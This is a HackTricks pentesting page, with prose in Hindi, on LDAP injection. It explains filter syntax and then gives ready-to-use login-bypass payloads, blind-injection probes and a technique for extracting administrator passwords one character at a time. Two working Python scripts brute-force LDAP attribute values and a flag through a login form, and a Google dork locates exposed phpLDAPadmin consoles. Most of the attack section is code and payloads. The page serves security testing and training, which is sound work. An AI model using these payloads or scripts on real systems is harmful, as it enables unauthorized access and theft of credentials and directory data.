LDAP Injection
Reading time: 6 minutes
LDAP Injection
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
LDAP Injection
LDAP
यदि आप जानना चाहते हैं कि LDAP क्या है, तो निम्नलिखित पृष्ठ पर जाएं:
389, 636, 3268, 3269 - Pentesting LDAP
LDAP Injection एक हमला है जो वेब अनुप्रयोगों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP कथन बनाते हैं। यह तब होता है जब अनुप्रयोग इनपुट को सही तरीके से साफ़ करने में विफल रहता है, जिससे हमलावरों को LDAP कथनों में हेरफेर करने की अनुमति मिलती है, जो संभावित रूप से अनधिकृत पहुंच या डेटा हेरफेर का कारण बन सकता है।
Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE
उदाहरण के लिए:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
आप डेटाबेस तक पहुंच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।
OpenLDAP: यदि 2 फ़िल्टर आते हैं, तो केवल पहले को निष्पादित करता है।
ADAM या Microsoft LDS: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।
SunOne Directory Server 5.0: दोनों फ़िल्टर निष्पादित करता है।
यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए, अन्यथा एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।
फ़िल्टर को इस प्रकार शुरू करना चाहिए: &
या |
उदाहरण: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
फिर: (&(objectClass=
*)(ObjectClass=*))
पहला फ़िल्टर होगा (जो निष्पादित होता है)।
Login Bypass
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड के अंदर जो भी डालें, वह हैश किया गया हो।
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
सूचियाँ
ब्लाइंड LDAP इंजेक्शन
आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए False या True प्रतिक्रियाओं को मजबूर कर सकते हैं:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Dump data
आप ascii अक्षरों, अंकों और प्रतीकों पर पुनरावृत्ति कर सकते हैं:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
Scripts
मान्य LDAP फ़ील्ड खोजें
LDAP ऑब्जेक्ट्स डिफ़ॉल्ट रूप से कई विशेषताएँ रखते हैं जो जानकारी सहेजने के लिए उपयोग की जा सकती हैं। आप उन सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके। आप डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ पा सकते हैं।
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
विशेष ब्लाइंड LDAP इंजेक्शन (बिना "*")
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
intitle:"phpLDAPadmin" inurl:cmd.php
अधिक पेलोड्स
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।